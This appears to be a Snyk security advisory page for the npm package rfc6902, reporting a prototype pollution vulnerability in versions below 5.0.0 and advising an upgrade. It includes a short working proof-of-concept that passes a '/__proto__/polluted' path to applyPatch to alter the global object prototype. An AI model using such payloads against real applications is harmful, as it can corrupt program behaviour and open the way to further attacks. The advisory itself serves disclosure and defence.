rfc6902@0.0.6 vulnerabilities

Complete implementation of RFC6902 (patch and diff)

  • latest version

    5.1.2

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    11 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the rfc6902 package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    rfc6902 is a Complete implementation of RFC6902 (patch and diff)

    Affected versions of this package are vulnerable to Prototype Pollution. It may allow attackers to inject or modify the methods and properties of the global object constructor.

    PoC

    // poc.js
    var rfc6902 = require("rfc6902")
    var obj = {}
    console.log("Before : " + {}.polluted);
    rfc6902.applyPatch(obj, [{ op: 'add', path: "/__proto__/polluted", value: "Yes! Its Polluted"}]);
    console.log("After : " + {}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade rfc6902 to version 5.0.0 or higher.

    <5.0.0